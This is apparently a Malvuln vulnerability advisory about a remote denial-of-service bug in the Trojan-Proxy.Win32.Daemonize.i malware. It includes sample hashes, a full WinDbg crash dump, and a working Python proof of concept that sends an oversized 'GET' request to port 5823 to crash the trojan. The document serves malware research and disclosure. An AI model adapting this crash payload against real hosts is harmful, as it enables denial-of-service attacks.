Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/61bec9f22a5955e076e0d5ddf6232f3f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Daemonize.i 
Vulnerability: Remote Denial of Service
Description: Daemonize.i listens on TCP port 5823, sending some junk packets to the trojan results in invalid pointer read leading to an access violation and crash.
Type: PE32
MD5: 61bec9f22a5955e076e0d5ddf6232f3f
Vuln ID: MVID-2021-0102
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/19/2021 

Memory Dump:
(f0.1ba4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffffff edx=00000003 esi=00000003 edi=00000003
eip=7710ed3c esp=02a0f38c ebp=02a0f51c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400          ret     14h


0:001> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea
00402fea f2ae            repne scas byte ptr es:[edi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00402fea (Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x00002fea)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000003
Attempt to read from address 00000003

PROCESS_NAME:  Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000003

READ_ADDRESS:  00000003 

FOLLOWUP_IP: 
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea
00402fea f2ae            repne scas byte ptr es:[edi]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001ba4

BUGCHECK_STR:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER:  from 76198654 to 00402fea

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
02a0ff80 76198654 02b70e50 76198630 6e5e2d5f Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x2fea
02a0ff94 77104a77 02b70e50 e89bd1a1 00000000 kernel32!BaseThreadInitThunk+0x24
02a0ffdc 77104a47 ffffffff 77129eca 00000000 ntdll!__RtlUserThreadStart+0x2f
02a0ffec 00000000 00401937 02b70e50 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~1s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f

IMAGE_NAME:  Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  3fdf5a56

FAILURE_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea

Followup: MachineOwner
---------

0:001> .ecxr
eax=00000000 ebx=00000000 ecx=ffffffff edx=00000003 esi=02b72538 edi=00000003
eip=00402fea esp=02a0fcc8 ebp=02a0ff80 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x2fea:
00402fea f2ae            repne scas byte ptr es:[edi]


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=5823

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    P="GET /"+"A"*2000 
    s.send(P)
    s.close()

    print("Trojan-Proxy.Win32.Daemonize.i / Remote Denial of Service")
    print("MD5: 61bec9f22a5955e076e0d5ddf6232f3f")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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